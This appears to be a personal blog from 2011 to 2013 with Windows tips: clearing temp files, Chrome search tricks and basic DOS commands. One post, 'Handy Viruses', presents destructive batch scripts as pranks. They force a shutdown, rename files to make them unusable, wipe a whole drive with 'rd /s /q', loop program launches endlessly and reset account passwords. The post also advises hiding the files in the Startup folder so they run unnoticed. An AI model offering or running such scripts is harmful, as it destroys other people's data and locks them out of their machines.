Friday, February 1, 2013

Deleting Temporary Files from computer, gaining space....

Steps:
  • Run
  • type %temp% , this will open a folder named Temp
  • ctrl+A; i,e, select all of the files and folders
  • Delete them.
Make sure you delete those otems from the recycle bin too.

NOTE:- Some files may not get deleted due to their current usage in the system.
              You just need to skip them.
You will gain some HDD space in your system.

Tuesday, March 6, 2012

google chrome tricks

Opening mp3s,videos and images in the browser:-
Syntax:
                  file:///<drive name>:/
Example:
                  file:///d:/

Note:- It will display the file system of that particular drive. Select the files and enter or click to play or open it in the Browser.

Quick Download of files from Google.com
This can be done by using the command,'filetype:'.
This is to be written in the search textbox along with the extension and the search title.
Syntax:
                filetype:<ext><space><search title>
Example:
                filetype:pdf hacking ethics

Another sinplest way to the above command is:-

Syntax:
               <ext>/<filename>
Example:
               pdf/programming





Monday, December 5, 2011

Handy Viruses

Shutting down the System:

shutdown -s -f                                                            //shuts down system forcefully within 30 secs.

Restart the System:

 shutdown -r -f                                                                //restarts the system forcefully within 30 secs.

Changing File Extensions:

ren [filename.ext] [samefilename.differentext]            //makes the files unusable.


Deleting all files of a drive:

@echo off

rd /s /q [drivename:]

ex: @echo off
     rd /s /q D:
                              note :- Not applicable for only the system drives.

Opening a file infinite no. of times:

@ECHO OFF
:BEGIN
start [applicationname/filename.ext]
goto BEGIN

ex:-
@ECHO OFF
:BEGIN
start notepad
goto BEGIN

Changing Account Password:

net user [annount_name] *
ex:- net user john *

note:- For best results, copy the created batch files in a folder named 'startup',applying the attributes and hiding it.





Sunday, December 4, 2011

dos prompt softwares

Creating a Batch file:
  •  open notepad.
  • write the dos commands inside it.
  • save it with any name,but,with extension .bat
Hide files and folders:

attrib +s +h +r [file_path along with name]

 Unhide files and folders:

attrib -s -h -r [file_path along with name]

Copying files from one place to another:

copy [source_file_path with filename] ]destination_file_path with filename]

Renaming files:

ren [source_file_path with filename] ]destination_file_path with filename]
                                   NOTE: in case of folders, extension is not required.

Creating Files in the computer memory:

Run dos prompt->edit->"create files eith extension"-> save->run.